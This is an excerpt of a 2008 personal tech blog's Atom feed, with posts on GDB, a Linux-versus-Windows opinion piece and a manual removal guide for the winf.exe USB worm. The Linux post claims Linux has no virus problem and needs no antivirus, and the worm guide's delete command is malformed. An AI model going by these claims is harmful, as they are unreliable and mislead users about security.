can leave your question back as comment&lt;/span&gt; &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-1392879439000117295?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/09/disabling-auto-play-in-windows.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1392879439000117295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1392879439000117295'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/09/disabling-auto-play-in-windows.html' title='Disabling Auto Play in Windows'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5VwJjfWFI/AAAAAAAAAWA/f1afd_EtTTE/s72-Rc/run.bmp' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-8552490464533849565</id><published>2008-09-21T08:54:00.000-07:00</published><updated>2008-10-14T11:10:31.883-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='Debuggers'/><title type='text'>GDB with GUI !!!!</title><content type='html'>Well I never knew about the GUI for GDB. My sir who posted a comment on my last GDB article asked me whether it comes with GUI ? and I googled it and here we go it is having GUI also. Well for all those who don't want to use the command line GDB this is a good news. Here i,m giving a few screen shots of it and also a link where you can get GDB GUI&lt;br /&gt;&lt;a href="http://sources.redhat.com/insight/" linkindex="14"&gt;http://sources.redhat.com/insight/&lt;/a&gt;&lt;br /&gt;This was actually developed by people working in Red Hat Inc. and Cygnus Solutions. In the link given above you can find all about GDB GUI&lt;br /&gt;&lt;br /&gt;Here is one screen shot i got from the link above&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SNZv-7qw9TI/AAAAAAAAAUw/_s-76S3y2GI/s1600-h/program-loaded.png" imageanchor="1" linkindex="15" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SNZv-7qw9TI/AAAAAAAAAUw/A9X_ZcU3eB4/s400-R/program-loaded.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;You can also download it from above stated link and its a ftp download.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Happy Debugging :) &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-8552490464533849565?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/09/gdb-with-gui.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8552490464533849565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8552490464533849565'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/09/gdb-with-gui.html' title='GDB with GUI !!!!'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pms4ehFPMfI/SNZv-7qw9TI/AAAAAAAAAUw/A9X_ZcU3eB4/s72-Rc/program-loaded.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-1391824096090749358</id><published>2008-09-21T04:54:00.001-07:00</published><updated>2008-10-14T11:10:31.884-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='Debuggers'/><title type='text'>GDB a GNU debugger</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;font size="3"&gt;&lt;font face="georgia"&gt;GDB is a free debugger by GNU. Its a command line debugging facility used for debugging C,C++ and few other languages. Most of us are familiar with debugging in a Graphical Interface and feel awkward to use GDB. But GDB is a powerful debugger, once you know how to use it you won't be awkward to use it. Here i'm giving a few tips (which I know about GDB).&lt;br /&gt;&lt;/font&gt;&lt;/font&gt;&lt;ul&gt;&lt;li&gt;&lt;font size="3"&gt;&lt;font face="georgia"&gt;To debug a C or C++ program using GDB you must specify a switch during compile time i.e tell compiler to produce debugging information file. This can be done as follows&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size="3"&gt;&lt;font face="georgia"&gt;         gcc -ggdb filename.c or g++ -ggdb filename.cpp (you can also use cc or c++ and switch can be simply -g)&lt;br /&gt;&lt;/font&gt;&lt;/font&gt;&lt;ul&gt;&lt;li&gt;&lt;font size="3"&gt;&lt;font face="georgia"&gt;Once you have compiled the program without any errors, its time to launch gdb&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size="3"&gt;&lt;font face="georgia"&gt;         gdb a.out (or filename if you renamed the file during compilation)&lt;br /&gt;&lt;br /&gt;       You will command line of gdb which looks something like this (gdb)_&lt;br /&gt;      &lt;br /&gt;The commands in gdb are&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;run&lt;/span&gt; &lt;span style="font-style: italic;"&gt;command line aruments&lt;/span&gt;: If your program doesn't take any command line arguments then simply specify run. This command starts your program.&lt;/font&gt;&lt;/font&gt;&lt;font face="georgia"&gt;&lt;font size="3"&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;break&lt;/strong&gt; place :Creates a breakpoint; the program will halt when it gets there. The most common breakpoints are at the beginnings of functions. You can also specify line numbers in source file where you want to place break point like break 20.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;delete&lt;/span&gt; N : Deletes break point at line N. Information about the break point can be got by using info break.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;step&lt;/span&gt; : Executes current line and stops at next line.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;next&lt;/span&gt; : Similar to step but when current line is function call next command executes the whole function and stops at next line to function call. Step enters the function and stops at first statement in function.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;finish&lt;/span&gt; : Keeps doing nexts, without stepping, until reaching the end of the current function.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;continue&lt;/span&gt; : Continues regular execution of the program until a breakpoint is hit or the program stops.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;print&lt;/span&gt; E : prints the value of E in the current framein the program, where E is a C expression (usually just a&lt;br /&gt;variable). &lt;span style="font-weight: bold;"&gt;display&lt;/span&gt; is similar, except every time you execute a next or step, it will print out the&lt;br /&gt;expression based on the new variable values.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;where&lt;/span&gt; or &lt;span style="font-weight: bold;"&gt;bt&lt;/span&gt; or &lt;span style="font-weight: bold;"&gt;backtrace&lt;/span&gt; : prints chain of function call that brought the program to current point of execution.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;quit &lt;/span&gt;: Leaves GDB.&lt;br /&gt;&lt;br /&gt;If you want to know further functionality of gdb you should follow this link&lt;br /&gt;&lt;a href="http://www.delorie.com/gnu/docs/gdb/gdb_toc.html"&gt;&lt;br /&gt;http://www.delorie.com/gnu/docs/gdb/gdb_toc.html&lt;/a&gt;&lt;/font&gt;&lt;font style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;" class="Apple-style-span" size="16" face="'times new roman'"&gt;&lt;font size="3"&gt;&lt;strong&gt;&lt;font face="monospace"&gt;&lt;font size="4"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font style="font-weight: normal;"&gt;Happy Debugging :)&lt;/font&gt;&lt;/font&gt;&lt;font style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/font&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;&lt;font style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;" class="Apple-style-span" size="16" face="'times new roman'"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/font&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/font&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-1391824096090749358?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/09/gdb-gnu-debugger.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1391824096090749358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1391824096090749358'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/09/gdb-gnu-debugger.html' title='GDB a GNU debugger'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-8286928532670250155</id><published>2008-09-20T03:32:00.000-07:00</published><updated>2008-10-13T11:10:55.484-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Why windows? Why not LINUX ????</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;We all started our computer basics in one of the &lt;font style='color: rgb(255, 0, 0); font-weight: bold;'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;Microsoft OS,&lt;/font&gt;&lt;/font&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt; may be Windows 98 or Windows XP. I also started my computer life with XP later i came accross the OS Linux, I was really amazed to see features Linux provides. This OS is having superb security features which windows OS normally lacks.&lt;br/&gt;To start with&lt;br/&gt;&lt;br/&gt;All windows user have common problem called "virus", all (maximum) of windows OS software are commercial software, i.e we need to pay for it or get a pirated copy a punishable act but we still follow. Well what can we do we got windows OS from our computer vendor for free and we don't know whether it is Original version or Pirated but most of the times it'll be pirated. Since we are using pirated software we can't expect any technical support from the software vendors also. Along with all this we need a anti virus software which we may get for free but most of times it won't be much effective to get good anti virus software we need to pay or again use pirated. If i go on talking this problem list will never end.&lt;br/&gt;So now lets compare these facts with Linux&lt;br/&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;ul&gt;&lt;li&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;Linux is a open source operating system i.e we get it for free. You need to pay a little amount if you want to get it on DVD, but you can download it for free and make your own DVD.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;Linux is not having any virus problem so no need of anti virus software(This is really what we wanted).&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;All software packages which are supplied with it are freewares, you also get technical support if you have any problem.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'&gt;Why no virus problem for Linux?&lt;br/&gt;In Linux you can not run a program without execute permission, unlike in windows all files with .exe extension are executable. You can run or use only those programs which are yours or of someone who is in your group. The program which run during system start up are Super User privileged. Only Super user can change ownership of any files and so on... With this much security its very hard to write a virus code for Linux.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Besides Linux provides support for programming and software development. It has inbuilt compilers for C, C++ java and many other languages. It also provides secure browsing, no need to be afraid of virus attack!! It provides many communication features like ftp,telnet,SSH(secure shell client) for remote log in and file transfer. You can also access windows clients for file transfer and printing and other activities using &lt;font style='font-weight: bold;'&gt;"Samba"  &lt;/font&gt;software. You can get more detail about this in these links&lt;br/&gt;&lt;br/&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;a href='http://us3.samba.org/samba/docs/SambaIntro.html'&gt;http://us3.samba.org/samba/docs/SambaIntro.html&lt;/a&gt;&lt;br/&gt;&lt;a href='http://en.wikipedia.org/wiki/Samba_%28software%29'&gt;http://en.wikipedia.org/wiki/Samba_(software)&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;Not only that you can also walk on the files all around the world using FISH protocol supported in KDE3.1 and higher. You can get more details about this in following link&lt;br/&gt;&lt;a href='http://www.linux.org/lessons/short/fish/index.html'&gt;http://www.linux.org/lessons/short/fish/index.html&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;New version of Linux distribution like Mandriva,Fedora Open SUSE are having good User interface and even the 3D desktop.&lt;br/&gt;&lt;br/&gt;You can also install windows programs in Linux using &lt;a href='http://http//www.winehq.org/'&gt;WINE(Windows Emulator)&lt;/a&gt;&lt;br/&gt;You can also install whole windows operating system in Linux using Virtual Machine like Virtual Box and Quemu which comes along with the Linux DVD and are freeware too!!&lt;br/&gt;&lt;br/&gt;We have all features of Windows and More than that !! Yet we Like Windows not Linux, Strange but fact.&lt;br/&gt;&lt;br/&gt;&lt;font size='2' style='color: rgb(255, 0, 0);'&gt;If any mistakes or if i've told something wrong please do write the comments&lt;/font&gt;&lt;br/&gt;&lt;font size='3'&gt;&lt;font face='georgia'&gt;&lt;font style='color: rgb(255, 0, 0);'&gt;&lt;font style='color: rgb(0, 0, 0);'/&gt;&lt;/font&gt;&lt;font style='color: rgb(255, 0, 0); font-weight: bold;'&gt;&lt;font style='color: rgb(0, 0, 0);'/&gt;&lt;/font&gt;&lt;font style='color: rgb(255, 0, 0);'/&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-8286928532670250155?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/09/why-windows-why-not-linux.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8286928532670250155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8286928532670250155'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/09/why-windows-why-not-linux.html' title='Why windows? Why not LINUX ????'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3130567113203499345</id><published>2008-09-19T07:25:00.000-07:00</published><updated>2008-09-21T05:20:45.924-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='winf.exe'/><title type='text'>A Nasty Worm winf.exe</title><content type='html'>I came across a worm by name winf.exe. Most of you may know this worm it changes the drive icon to a nasty looking image and label to weird looking charachters. Even if you want to change the label or the icon you wont be able to do it. This worm mostly comes through the USB devices. When You double click on it this virus copies a autorun.inf file and a thb.ico file to all your drives and there you go all icons,labels changed!! Not only that it copies file win.exe and avgs.exe to your system32 folder and it will be added to a particular place in registry for launching it during startup.&lt;br /&gt;&lt;div&gt;You might have a question what this to program files do? Well you might have experienced this "when you type orkut or youtube " in your browser a message box pops up and tells orkut and youtube infected by virus not only that it closes your browser also, Great rite. Some time it may play a laughing sound also.&lt;/div&gt;&lt;div&gt;Well what exactly this so called virus is???&lt;/div&gt;&lt;div&gt;Its not a virus. Surprised??? its a script written using autohotkey software. You can get this software here www.autohotkey.com/download. This software was actually created to automate repetitive task and improve windows user interface but some people are using it to create nasty programs and trouble others.&amp;nbsp;&lt;/div&gt;&lt;div&gt;This worm consists of a set of file including source code for the same !! and packed into a SFX archive using winrar, so that it can be extracted to required location when user double click on USB device. The icon of SFX archive is removed so that it is not easily seen since only file name is visible.&lt;/div&gt;&lt;div&gt;How to bring back the drive icon and label back to normal?&lt;/div&gt;&lt;div&gt;Manual&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;launch task manager&amp;nbsp;&lt;/li&gt;&lt;li&gt;find processes win.exe and avgs.exe runnig under your user name&lt;/li&gt;&lt;li&gt;Terminate these processes.&lt;/li&gt;&lt;li&gt;now launch command prompt and type following commands&lt;/li&gt;&lt;/ol&gt;C:\Documents and Settings\VASUDEV&amp;gt;cd\&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;C:\&amp;gt;del \ah /F [/A: H] autorun.inf thb.ico&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;repeat this process in each drive. If you have some PC maintaining software check the startup program list if win.exe or avgs.exe remove those entries and do a restart. Now the drive should return to normal. Now scan the system using antivirus software. I suggest using avast's boot time scan on C drive, it will delete all infected files.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;This is method i used to remove the virus from my system.&lt;/div&gt;&lt;div&gt;To avoid getting infected by this nasty worm and other similar worms- "Do not double click on your pendrive on any day try to use address bar to access pendrive".&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Also use this small but very effective software USB Disk securtiy, mere 1MB software but detects any autorun program including winf.exe as soon as you insert USB device. Home page for this software is&amp;nbsp;&lt;a href="http://www.zbshareware.com/" linkindex="13"&gt;http://www.zbshareware.com/&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3130567113203499345?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/09/nasty-worm-winfexe.html#comment-form' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3130567113203499345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3130567113203499345'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/09/nasty-worm-winfexe.html' title='A Nasty Worm winf.exe'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>16</thr:total></entry></feed>
